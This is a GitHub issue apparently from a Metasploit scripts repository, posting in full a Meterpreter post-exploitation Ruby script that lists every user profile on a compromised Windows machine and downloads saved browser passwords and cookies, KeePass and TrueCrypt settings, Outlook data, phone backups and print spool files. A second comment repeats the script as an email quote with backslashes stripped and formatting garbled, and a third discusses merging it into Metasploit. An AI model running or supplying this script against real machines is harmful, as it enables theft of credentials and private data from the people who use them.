Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Need to add Forensics Scraper Script #12

Open
mubix opened this issue Jan 9, 2014 · 2 comments
Open

Need to add Forensics Scraper Script #12

mubix opened this issue Jan 9, 2014 · 2 comments

Comments

@mubix
Copy link
Member

mubix commented Jan 9, 2014

Source: http://www.rhinosecuritylabs.com/wp-content/uploads/2013/08/forensic_scraper

# $ Id: forensic_scraper.rb 1 2013-07-16 nicolio $
# $ Revision: 1 $
#
# Nicole's original script - July 16, 2013
# Naomi edits - July 24 - Aug 8, 2013



#
# Method to filter out the file extensions we want to include in specific paths
# Returns true if the file should be downloaded, false otherwise
#
def filter_extensions(path)
        #
        # Extensions:
        #
        #itunes extension types
        itunes_paths = ['\Application Data\Apple Computer\MobileSync\Backup', '\AppData\Roaming\Apple Computer\MobileSync\Backup']
        itunes_extensions = [".plist", ".mdbackup", ".mddata", ".mdinfo"]
        #outlook extensions
        outlook_paths = ['\AppData\Local\Microsoft\Outlook']
        outlook_extensions = [".ost"]
        #safari extensions
        safari_paths = ['\AppData\Local\Apple Computer\Safari\Webpage Previews']
        safari_extensions = [".png"]
        #chrome prefix
        chrome_paths = ['\AppData\Local\Google\Chrome\User Data\Default']
        chrome_prefix = ["History Index"]
        #firefox files
        firefox_paths = ['\AppData\Roaming\Mozilla\Firefox\Profiles']
        firefox_files = ["key3.db",
        "addons.sqlite",
                "signons.sqlite",
                "places.sqlite",
                "cookies.sqlite",
                "formhistory.sqlite",
                "downloads.sqlite",
        "extensions.sqlite",
                "content-prefs.sqlite",
                "sessionstore.js"]
    #windows files
    windows_paths = ['\AppData\Roaming\Microsoft\Windows\Recent']
    #temp files
    temp_paths = ['\AppData\Local\Temp']
    temp_extensions = [".tmp", ".cvr", ".TMP"]
    #blackberry files
    bb_paths = ['\Program Files\Research in Motion']
    bb_extensions = ['.ipd']
    #printer files
    printer_paths = ['\Windows\System32\spool\PRINTERS']
    printer_extensions = ['.spl']
    #prefetch files
    prefetch_paths = ['\Windows\Prefetch']
    prefetch_extensions = ['.pf']



        #check itunes
        for i in 0 ... itunes_paths.length
                if (path.include?(itunes_paths[i]))
                        for j in 0 ... itunes_extensions.length
                                if (path.include?(itunes_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end

        #check outlook
        for i in 0 ... outlook_paths.length
                if (path.include?(outlook_paths[i]))
                        for j in 0 ... outlook_extensions.length
                                if (path.include?(outlook_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end

        #check safari
        for i in 0 ... safari_paths.length
                if (path.include?(safari_paths[i]))
                        for j in 0 ... safari_extensions.length
                                if (path.include?(safari_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end

    #check chrome
        for i in 0 ... chrome_paths.length
                if (path.include?(chrome_paths[i]))
                        for j in 0 ... chrome_prefix.length
                                if (path.include?(chrome_prefix[j]))
                                        return true
                                end
                        end
            return false #matched the path, but no extension
                end
        end


        #check firefox
        for i in 0 ... firefox_paths.length
                if (path.include?(firefox_paths[i]))
                        for j in 0 ... firefox_files.length
                                if (path.include?(firefox_files[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end

    #check windows
    for i in 0 ... windows_paths.length
        if (path.include?(windows_paths[i]))
            if File.file?(path)
                return true
            end
            if path.match('CustomDestinations$') || path.match('AutomaticDestinations$')
                return true
            end
            return false #the filename was not a file
        end
    end

    #check temp
    for i in 0 ... temp_paths.length
        if (path.include?(temp_paths[i]))
            for j in 0 ... temp_extensions.length
                if (path.include?(temp_extensions[j]))
                    return false
                end
            end
            return true
        end
    end

    #check blackberry
        for i in 0 ... bb_paths.length
                if (path.include?(bb_paths[i]))
                        for j in 0 ... bb_extensions.length
                                if (path.include?(bb_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end


    #check printer
        for i in 0 ... printer_paths.length
                if (path.include?(printer_paths[i]))
                        for j in 0 ... printer_extensions.length
                                if (path.include?(printer_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end


    #check prefetch
        for i in 0 ... prefetch_paths.length
                if (path.include?(prefetch_paths[i]))
                        for j in 0 ... prefetch_extensions.length
                                if (path.include?(prefetch_extensions[j]))
                                        return true
                                end
                        end
                        return false #matched the path, but no extension
                end
        end


        #we didn't match any of the paths - accept download
        return true

end

#
# Main Program
#

#
# Default Values
#
dest_folder = "/root/.msf4/loot/forensic_scraper_results"

#
# Options
#
opts = Rex::Parser::Arguments.new(
        "-h"  => [ false,  "Presents the help menu"],
    "-w"  => [ false,  "The folder to save the relevant files found (default is /root/.msf4/loot/forensic_scraper_results)"]
)

opts.parse(args) do |opt, idx, val|
        case opt
        when "-h"
        print_line("This script finds and downloads relevant files on the remote computer for forensic purposes.")
        print_line(opts.usage)
                raise Rex::Script::Completed
    when "-w"
                dest_folder = val
        end
end

dest_folder = dest_folder +  "/" + client.sys.config.sysinfo['Computer']
#
# Important Variables
#
#these are the possible places users might be stored
user_finder_path_temp = ["\Users\\","\Documents and Settings\\"]

#this is the target directory, in case stuff isn't on the c drive and we want to look other places later
target_directory = 'C:\\'

#this is a list of directories that we do not want to follow
user_entries_disallow = [".", "..", "Default User", "desktop.ini"]

#
# Grabbing All Users
#

#these will hold everything we find
user_entries_temp = []
user_entries = []
user_finder_path = []

for index in 0 ... user_finder_path_temp.length
    #if error going to target dir catch
    begin
        client.fs.dir.chdir(target_directory)
    rescue
        print_error("Something is wrong with accessing the " + target_directory  + " drive.")
        raise Rex::Script::Completed
    end

    #if error opening dir take it out of places we're looking for users later
    begin
        user_entries_temp = client.fs.dir.entries(user_finder_path_temp[index])
        user_finder_path << user_finder_path_temp[index]
    rescue
        #nothing needs to be done
    end
end

#take out the irrelevant paths listed in Important Variables
for index in 0 ... user_entries_temp.length
    if !user_entries_disallow.include?(user_entries_temp[index])
        user_entries << user_entries_temp[index]
    end
end

#
# File and Directory Listings
#

#here are all the additional paths to try.
addl_path_data = [
    # Internet Explorer
        ['\Cookies\index.dat', "ie"],
        ['\Local Settings\History\History.IE5\index.dat', "ie"],
        ['\Local Settings\Temporary Internet Files\Content.IE5\index.dat', "ie"],
        ['\UserData\index.dat', "ie"],
        ['\Roaming\Microsoft\Windows\Cookies\index.dat', "ie"],
        ['\Roaming\Microsoft\Windows\Cookies\Low\index.dat', "ie"],
        ['\Local\Microsoft\Windows\History\History.IE5\index.dat', "ie"],
        ['\Local\Microsoft\Windows\History\History.IE5\Low\index.dat', "ie"],
        ['\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat', "ie"],
        ['\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat', "ie"],
        ['\Roaming\Microsoft\Internet Explorer\UserData\index.dat', "ie"],
        ['\Roaming\Microsoft\Internet Explorer\UserData\Low\index.dat', "ie"],
    # KeePass
    ['\AppData\Roaming\KeePass\KeePass.config.xml', "keepass"],
    # TrueCrypt
    ['\AppData\Roaming\TrueCrypt\Configuration.xml', "truecrypt"],
    ['\AppData\Roaming\TrueCrypt\Favorite Volumes.xml', "truecrypt"],
    # Safari
    ['\AppData\Local\Apple Computer\Safari\Cache.db', "safari"],
    ['\AppData\Local\Apple Computer\Safari\Webpageicons.db', "safari"],
    ['\AppData\Roaming\Apple Computer\Safari\Bookmarks.plist', "safari"],
    ['\AppData\Roaming\Apple Computer\Safari\History.plist', "safari"],
    ['\AppData\Roaming\Apple Computer\Safari\LastSession.plist', "safari"],
    ['\AppData\Roaming\Apple Computer\Safari\TopSites.plist', "safari"],
    # Chrome
    ['\AppData\Local\Google\Chrome\User Data\Default\Archived History', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Cookies', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Current Tabs', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\History', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Login Data', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Visited Links', "chrome"],
    ['\AppData\Local\Google\Chrome\User Data\Default\Web Data', "chrome"]
]

#so far we have direct paths... but some we want to scrape for all possible files
dirs_of_interest =[
    # Internet Explorer
    ['\AppData\Local\Microsoft\Windows\Temporary Internet Files', "ie"],
    ['\AppData\Roaming\Microsoft\Windows\Cookies', "ie"],
    ['\Application Data\Local\Microsoft\Windows\Temporary Internet Files', "ie"],
    ['\Local Settings\History', "misc windows"],
    ['\Local Settings\Temporary Internet Files', "ie"],
    ['\AppData\Roaming\Microsoft\Windows\Recent', "misc windows"],
    ['\AppData\Roaming\Microsoft\Windows\Network Shortcuts', "misc windows"],
    ['\AppData\Local\Temp', "temp"],
        ['\Local\Microsoft\Windows\History\History.IE5\index.dat', "ie"],
        ['\Local\Microsoft\Windows\History\History.IE5\Low\index.dat', "ie"],
    # Desktop
    ['\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar', "desktop"],
    ['\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu', "desktop"],
    ['\Local Settings\History\History.IE5', "desktop"],
    # Safari
    ['\AppData\Local\Apple Computer\Safari\LocalStorage', "safari"],
    ['\AppData\Local\Apple Computer\Safari\History', "safari"],
    ['\AppData\Local\Apple Computer\Safari\Webpage Previews', "safari"],
    ['\AppData\Roaming\Apple Computer\Safari\Cookies', "safari"],
    # Chrome
    ['\AppData\Local\Google\Chrome\User Data\Default', "chrome"],
    # Outlook
    ['\AppData\Local\Microsoft\Outlook', "outlook"],
    # iTunes
    ['\Application Data\Apple Computer\MobileSync\Backup', "itunes"],
    ['\AppData\Roaming\Apple Computer\MobileSync\Backup', "itunes"],
    # MRU
    ['\Recent', "MRU"],
    # Favorites
    ['\Links', "misc windows"]
]



#also some may require that we go a level deeper
dirs_with_interesting_children = [
    # Firefox
    ['\AppData\Roaming\Mozilla\Firefox\Profiles', "firefox"]
]

#these are directories that contain interesting files
dirs_with_no_username = [
    #Blackberry files
    ['C:\Program Files\Research In Motion', "blackberry"],
    #Printer spool files
    ['C:\Windows\System32\spool\PRINTERS', "printer"],
    #Prefetch files
    ['C:\Windows\Prefetch', "prefetch"]
]

#
# File Searching
#

#making a variable to store all filepaths that are successful
found_files = []

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE WANT EVERY CHILD FILE OF DIRECTORIES OF INTEREST.
for findex in 0 ... user_finder_path.length 
    for index in 0 ... dirs_of_interest.length
        for ix in 0... user_entries.length
            begin
                path = target_directory + user_finder_path[findex] + user_entries[ix] + dirs_of_interest[index][0]
                #lets give feedback for now.
                file_entries = client.fs.dir.entries(path + "\\") 
                #puts file_entries
                for fix in 0 ... file_entries.length
                    if !user_entries_disallow.include?(file_entries[fix])
                        if filter_extensions(path + "\\" + file_entries[fix]) #if returns true, then add to list
                            temp = []
                            puts 'found ' + path + "\\" + file_entries[fix]
                            temp.push(path + "\\" + file_entries[fix])
                            temp.push(dirs_of_interest[index][1])
                            found_files.push(temp)
                        end
                    end
                end

            rescue
                #do nothing but resume
            end
        end
    end
end

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE ALREADY KNOW THE NAME OF THE FILE WE SEEK.
for findex in 0 ... user_finder_path.length
    for index in 0 ... addl_path_data.length
        for inner_index in 0 ... user_entries.length
            file_path = target_directory + user_finder_path[findex] 
            file_path = file_path + user_entries[inner_index]  + addl_path_data[index][0]   
            begin   
                if (client.fs.file.exists?(file_path))
                #cat file_path
                    temp = []
                    temp.push(file_path)
                    temp.push(addl_path_data[index][1])
                    found_files.push(temp)
                    puts 'found ' + file_path
                end
                #puts '!!!!!!!!!found data! adding to master list. ' + file_path
            rescue => e
                puts e.message
                #do nothing but resume
            end
        end
    end
end

children_entries = []

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE WANT TO GO A LEVEL DEEPER AND THEN GET THE ENTRIES
for index in 0 ... dirs_with_interesting_children.length
    for missing_ix in 0 ... user_finder_path.length
        for ix in 0... user_entries.length
            begin
                path =  target_directory + user_finder_path[missing_ix]     
                path =  path + user_entries[ix] + dirs_with_interesting_children[index][0]
                #lets give feedback for now.
                #puts 'searching for profiles ' + path

                file_entries_temp = client.fs.dir.entries(path)
                file_entries = []
                for fix in 0 ... file_entries_temp.length
                    if !user_entries_disallow.include?(file_entries_temp[fix])
                        file_entries << file_entries_temp[fix]
                    end
                end
                #puts '!!!!!!!!!!found some. searching for their children'
                for fix in 0 ... file_entries.length
                    final_dir = path
                    final_dir = path + "\\" +file_entries[fix]
                    begin
                        children_entries = client.fs.dir.entries(final_dir)
                        for lol in 0...children_entries.length
                            if !user_entries_disallow.include?(children_entries[lol])
                                final_child = final_dir + "\\" + children_entries[lol]
                                                        if filter_extensions(final_child) 
                                    temp = []
                                    temp.push(final_child)
                                    temp.push(dirs_with_interesting_children[index][1])  
                                                                    puts 'found ' + final_child
                                    found_files.push(temp)
                                                            end
                            end
                        end
                    rescue Exception => e
                        puts e.message
                        puts e.backtrace.inspect
                        #do nothing but resume
                    end

                end

            rescue
                #do nothing but resume
            end
        end
    end
end

#Find specific paths outside of the Users or Documents and Settings directories
for index in 0 ... dirs_with_no_username.length 
    begin
        path = dirs_with_no_username[index]
            file_entries = client.fs.dir.entries(path + "\\")
            #puts file_entries
            for fix in 0 ... file_entries.length
                    if !user_entries_disallow.include?(file_entries[fix])
                          if filter_extensions(path + "\\" + file_entries[fix]) #if returns true, then add to list
                                puts 'found ' + path + "\\" + file_entries[fix]
                                found_files.push(path + "\\" + file_entries[fix])
                          end
                    end
            end
    rescue
        #do nothing
    end

end

#
# File Downloading
#


#download the files we located
for index in 0 ... found_files.length
    #if the found file is actually a directory, then download all the contents
    begin
        client.fs.dir.download(dest_folder + "/" + found_files[index][1] + "/" + found_files[index][0].gsub("\\", "_"), found_files[index][0], true, true)
        print_status "downloading " + found_files[index][0]
    rescue ::Rex::Post::Meterpreter::RequestError => e
    #if the found file is actually a file, download it
        if (e.message.include?("Access"))
            print_error e
            #do nothing and move on
        else
            print_status "downloading " + found_files[index][0]
            client.fs.file.download_file(dest_folder + "/" + found_files[index][1] + "/" + found_files[index][0].gsub("\\", "_"), found_files[index][0])
        end
    end
end

@todb
Copy link

todb commented Jan 10, 2014

Cc @JonValt - I know he has an interest in this sort of thing and recently
committed a multi-app scraper module to Metasploit mainline.
On Jan 9, 2014 2:17 PM, "Rob Fuller" notifications@github.com wrote:

Source:
http://www.rhinosecuritylabs.com/wp-content/uploads/2013/08/forensic_scraper

$ Id: forensic_scraper.rb 1 2013-07-16 nicolio $

$ Revision: 1 $

Nicole's original script - July 16, 2013

Naomi edits - July 24 - Aug 8, 2013

Method to filter out the file extensions we want to include in specific paths

Returns true if the file should be downloaded, false otherwise

def filter_extensions(path)
#
# Extensions:
#
#itunes extension types
itunes_paths = ['\Application Data\Apple Computer\MobileSync\Backup', '\AppData\Roaming\Apple Computer\MobileSync\Backup']
itunes_extensions = [".plist", ".mdbackup", ".mddata", ".mdinfo"]
#outlook extensions
outlook_paths = ['\AppData\Local\Microsoft\Outlook']
outlook_extensions = [".ost"]
#safari extensions
safari_paths = ['\AppData\Local\Apple Computer\Safari\Webpage Previews']
safari_extensions = [".png"]
#chrome prefix
chrome_paths = ['\AppData\Local\Google\Chrome\User Data\Default']
chrome_prefix = ["History Index"]
#firefox files
firefox_paths = ['\AppData\Roaming\Mozilla\Firefox\Profiles']
firefox_files = ["key3.db",
"addons.sqlite",
"signons.sqlite",
"places.sqlite",
"cookies.sqlite",
"formhistory.sqlite",
"downloads.sqlite",
"extensions.sqlite",
"content-prefs.sqlite",
"sessionstore.js"]
#windows files
windows_paths = ['\AppData\Roaming\Microsoft\Windows\Recent']
#temp files
temp_paths = ['\AppData\Local\Temp']
temp_extensions = [".tmp", ".cvr", ".TMP"]
#blackberry files
bb_paths = ['\Program Files\Research in Motion']
bb_extensions = ['.ipd']
#printer files
printer_paths = ['\Windows\System32\spool\PRINTERS']
printer_extensions = ['.spl']
#prefetch files
prefetch_paths = ['\Windows\Prefetch']
prefetch_extensions = ['.pf']

    #check itunes
    for i in 0 ... itunes_paths.length
            if (path.include?(itunes_paths[i]))
                    for j in 0 ... itunes_extensions.length
                            if (path.include?(itunes_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end

    #check outlook
    for i in 0 ... outlook_paths.length
            if (path.include?(outlook_paths[i]))
                    for j in 0 ... outlook_extensions.length
                            if (path.include?(outlook_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end

    #check safari
    for i in 0 ... safari_paths.length
            if (path.include?(safari_paths[i]))
                    for j in 0 ... safari_extensions.length
                            if (path.include?(safari_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end

#check chrome
    for i in 0 ... chrome_paths.length
            if (path.include?(chrome_paths[i]))
                    for j in 0 ... chrome_prefix.length
                            if (path.include?(chrome_prefix[j]))
                                    return true
                            end
                    end
        return false #matched the path, but no extension
            end
    end


    #check firefox
    for i in 0 ... firefox_paths.length
            if (path.include?(firefox_paths[i]))
                    for j in 0 ... firefox_files.length
                            if (path.include?(firefox_files[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end

#check windows
for i in 0 ... windows_paths.length
    if (path.include?(windows_paths[i]))
        if File.file?(path)
            return true
        end
        if path.match('CustomDestinations$') || path.match('AutomaticDestinations$')
            return true
        end
        return false #the filename was not a file
    end
end

#check temp
for i in 0 ... temp_paths.length
    if (path.include?(temp_paths[i]))
        for j in 0 ... temp_extensions.length
            if (path.include?(temp_extensions[j]))
                return false
            end
        end
        return true
    end
end

#check blackberry
    for i in 0 ... bb_paths.length
            if (path.include?(bb_paths[i]))
                    for j in 0 ... bb_extensions.length
                            if (path.include?(bb_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end


#check printer
    for i in 0 ... printer_paths.length
            if (path.include?(printer_paths[i]))
                    for j in 0 ... printer_extensions.length
                            if (path.include?(printer_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end


#check prefetch
    for i in 0 ... prefetch_paths.length
            if (path.include?(prefetch_paths[i]))
                    for j in 0 ... prefetch_extensions.length
                            if (path.include?(prefetch_extensions[j]))
                                    return true
                            end
                    end
                    return false #matched the path, but no extension
            end
    end


    #we didn't match any of the paths - accept download
    return true

end

Main Program

Default Values

dest_folder = "/root/.msf4/loot/forensic_scraper_results"

Options

opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Presents the help menu"],
"-w" => [ false, "The folder to save the relevant files found (default is /root/.msf4/loot/forensic_scraper_results)"]
)

opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line("This script finds and downloads relevant files on the remote computer for forensic purposes.")
print_line(opts.usage)
raise Rex::Script::Completed
when "-w"
dest_folder = val
end
end

dest_folder = dest_folder + "/" + client.sys.config.sysinfo['Computer']

Important Variables

#these are the possible places users might be stored
user_finder_path_temp = ["\Users","\Documents and Settings"]

#this is the target directory, in case stuff isn't on the c drive and we want to look other places later
target_directory = 'C:'

#this is a list of directories that we do not want to follow
user_entries_disallow = [".", "..", "Default User", "desktop.ini"]

Grabbing All Users

#these will hold everything we find
user_entries_temp = []
user_entries = []
user_finder_path = []

for index in 0 ... user_finder_path_temp.length
#if error going to target dir catch
begin
client.fs.dir.chdir(target_directory)
rescue
print_error("Something is wrong with accessing the " + target_directory + " drive.")
raise Rex::Script::Completed
end

#if error opening dir take it out of places we're looking for users later
begin
    user_entries_temp = client.fs.dir.entries(user_finder_path_temp[index])
    user_finder_path << user_finder_path_temp[index]
rescue
    #nothing needs to be done
end

end

#take out the irrelevant paths listed in Important Variables
for index in 0 ... user_entries_temp.length
if !user_entries_disallow.include?(user_entries_temp[index])
user_entries << user_entries_temp[index]
end
end

File and Directory Listings

#here are all the additional paths to try.
addl_path_data = [
# Internet Explorer
['\Cookies\index.dat', "ie"],
['\Local Settings\History\History.IE5\index.dat', "ie"],
['\Local Settings\Temporary Internet Files\Content.IE5\index.dat', "ie"],
['\UserData\index.dat', "ie"],
['\Roaming\Microsoft\Windows\Cookies\index.dat', "ie"],
['\Roaming\Microsoft\Windows\Cookies\Low\index.dat', "ie"],
['\Local\Microsoft\Windows\History\History.IE5\index.dat', "ie"],
['\Local\Microsoft\Windows\History\History.IE5\Low\index.dat', "ie"],
['\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat', "ie"],
['\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat', "ie"],
['\Roaming\Microsoft\Internet Explorer\UserData\index.dat', "ie"],
['\Roaming\Microsoft\Internet Explorer\UserData\Low\index.dat', "ie"],
# KeePass
['\AppData\Roaming\KeePass\KeePass.config.xml', "keepass"],
# TrueCrypt
['\AppData\Roaming\TrueCrypt\Configuration.xml', "truecrypt"],
['\AppData\Roaming\TrueCrypt\Favorite Volumes.xml', "truecrypt"],
# Safari
['\AppData\Local\Apple Computer\Safari\Cache.db', "safari"],
['\AppData\Local\Apple Computer\Safari\Webpageicons.db', "safari"],
['\AppData\Roaming\Apple Computer\Safari\Bookmarks.plist', "safari"],
['\AppData\Roaming\Apple Computer\Safari\History.plist', "safari"],
['\AppData\Roaming\Apple Computer\Safari\LastSession.plist', "safari"],
['\AppData\Roaming\Apple Computer\Safari\TopSites.plist', "safari"],
# Chrome
['\AppData\Local\Google\Chrome\User Data\Default\Archived History', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Cookies', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Current Tabs', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\History', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Login Data', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Visited Links', "chrome"],
['\AppData\Local\Google\Chrome\User Data\Default\Web Data', "chrome"]
]

#so far we have direct paths... but some we want to scrape for all possible files
dirs_of_interest =[
# Internet Explorer
['\AppData\Local\Microsoft\Windows\Temporary Internet Files', "ie"],
['\AppData\Roaming\Microsoft\Windows\Cookies', "ie"],
['\Application Data\Local\Microsoft\Windows\Temporary Internet Files', "ie"],
['\Local Settings\History', "misc windows"],
['\Local Settings\Temporary Internet Files', "ie"],
['\AppData\Roaming\Microsoft\Windows\Recent', "misc windows"],
['\AppData\Roaming\Microsoft\Windows\Network Shortcuts', "misc windows"],
['\AppData\Local\Temp', "temp"],
['\Local\Microsoft\Windows\History\History.IE5\index.dat', "ie"],
['\Local\Microsoft\Windows\History\History.IE5\Low\index.dat', "ie"],
# Desktop
['\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar', "desktop"],
['\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu', "desktop"],
['\Local Settings\History\History.IE5', "desktop"],
# Safari
['\AppData\Local\Apple Computer\Safari\LocalStorage', "safari"],
['\AppData\Local\Apple Computer\Safari\History', "safari"],
['\AppData\Local\Apple Computer\Safari\Webpage Previews', "safari"],
['\AppData\Roaming\Apple Computer\Safari\Cookies', "safari"],
# Chrome
['\AppData\Local\Google\Chrome\User Data\Default', "chrome"],
# Outlook
['\AppData\Local\Microsoft\Outlook', "outlook"],
# iTunes
['\Application Data\Apple Computer\MobileSync\Backup', "itunes"],
['\AppData\Roaming\Apple Computer\MobileSync\Backup', "itunes"],
# MRU
['\Recent', "MRU"],
# Favorites
['\Links', "misc windows"]
]

#also some may require that we go a level deeper
dirs_with_interesting_children = [
# Firefox
['\AppData\Roaming\Mozilla\Firefox\Profiles', "firefox"]
]

#these are directories that contain interesting files
dirs_with_no_username = [
#Blackberry files
['C:\Program Files\Research In Motion', "blackberry"],
#Printer spool files
['C:\Windows\System32\spool\PRINTERS', "printer"],
#Prefetch files
['C:\Windows\Prefetch', "prefetch"]
]

File Searching

#making a variable to store all filepaths that are successful
found_files = []

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE WANT EVERY CHILD FILE OF DIRECTORIES OF INTEREST.
for findex in 0 ... user_finder_path.length
for index in 0 ... dirs_of_interest.length
for ix in 0... user_entries.length
begin
path = target_directory + user_finder_path[findex] + user_entries[ix] + dirs_of_interest[index][0]
#lets give feedback for now.
file_entries = client.fs.dir.entries(path + "")
#puts file_entries
for fix in 0 ... file_entries.length
if !user_entries_disallow.include?(file_entries[fix])
if filter_extensions(path + "" + file_entries[fix]) #if returns true, then add to list
temp = []
puts 'found ' + path + "" + file_entries[fix]
temp.push(path + "" + file_entries[fix])
temp.push(dirs_of_interest[index][1])
found_files.push(temp)
end
end
end

        rescue
            #do nothing but resume
        end
    end
end

end

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE ALREADY KNOW THE NAME OF THE FILE WE SEEK.
for findex in 0 ... user_finder_path.length
for index in 0 ... addl_path_data.length
for inner_index in 0 ... user_entries.length
file_path = target_directory + user_finder_path[findex]
file_path = file_path + user_entries[inner_index] + addl_path_data[index][0]
begin
if (client.fs.file.exists?(file_path))
#cat file_path
temp = []
temp.push(file_path)
temp.push(addl_path_data[index][1])
found_files.push(temp)
puts 'found ' + file_path
end
#puts '!!!!!!!!!found data! adding to master list. ' + file_path
rescue => e
puts e.message
#do nothing but resume
end
end
end
end

children_entries = []

#THE KEY DIFFERENCE IN THIS FOR LOOP IS THAT WE WANT TO GO A LEVEL DEEPER AND THEN GET THE ENTRIES
for index in 0 ... dirs_with_interesting_children.length
for missing_ix in 0 ... user_finder_path.length
for ix in 0... user_entries.length
begin
path = target_directory + user_finder_path[missing_ix]
path = path + user_entries[ix] + dirs_with_interesting_children[index][0]
#lets give feedback for now.
#puts 'searching for profiles ' + path

            file_entries_temp = client.fs.dir.entries(path)
            file_entries = []
            for fix in 0 ... file_entries_temp.length
                if !user_entries_disallow.include?(file_entries_temp[fix])
                    file_entries << file_entries_temp[fix]
                end
            end
            #puts '!!!!!!!!!!found some. searching for their children'
            for fix in 0 ... file_entries.length
                final_dir = path
                final_dir = path + "\\" +file_entries[fix]
                begin
                    children_entries = client.fs.dir.entries(final_dir)
                    for lol in 0...children_entries.length
                        if !user_entries_disallow.include?(children_entries[lol])
                            final_child = final_dir + "\\" + children_entries[lol]
                                                    if filter_extensions(final_child)
                                temp = []
                                temp.push(final_child)
                                temp.push(dirs_with_interesting_children[index][1])
                                                                puts 'found ' + final_child
                                found_files.push(temp)
                                                        end
                        end
                    end
                rescue Exception => e
                    puts e.message
                    puts e.backtrace.inspect
                    #do nothing but resume
                end

            end

        rescue
            #do nothing but resume
        end
    end
end

end

#Find specific paths outside of the Users or Documents and Settings directories
for index in 0 ... dirs_with_no_username.length
begin
path = dirs_with_no_username[index]
file_entries = client.fs.dir.entries(path + "")
#puts file_entries
for fix in 0 ... file_entries.length
if !user_entries_disallow.include?(file_entries[fix])
if filter_extensions(path + "" + file_entries[fix]) #if returns true, then add to list
puts 'found ' + path + "" + file_entries[fix]
found_files.push(path + "" + file_entries[fix])
end
end
end
rescue
#do nothing
end

end

File Downloading

#download the files we located
for index in 0 ... found_files.length
#if the found file is actually a directory, then download all the contents
begin
client.fs.dir.download(dest_folder + "/" + found_files[index][1] + "/" + found_files[index][0].gsub("", ""), found_files[index][0], true, true)
print_status "downloading " + found_files[index][0]
rescue ::Rex::Post::Meterpreter::RequestError => e
#if the found file is actually a file, download it
if (e.message.include?("Access"))
print_error e
#do nothing and move on
else
print_status "downloading " + found_files[index][0]
client.fs.file.download_file(dest_folder + "/" + found_files[index][1] + "/" + found_files[index][0].gsub("", "
"), found_files[index][0])
end
end
end


Reply to this email directly or view it on GitHubhttps://github.com//issues/12
.

@JonValt
Copy link

JonValt commented Jan 10, 2014

Interesting. Of course I think this is a good idea, since like @todb said, I've wanted to include something similar in metasploit.

This one's (obviously) more exhaustive than mine, but running through I see a couple issues:

  • The file locations are static when they should use metasploit's grab_user_profiles functionality to pull relative user paths. E.g. c:\users* for Windows7 and c:\Documents and Settings* for Windows XP (RIP).
  • @todb doesn't like for loops.

Is it okay for me to use this code, chop it up, use the good bits, and eventually land it?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants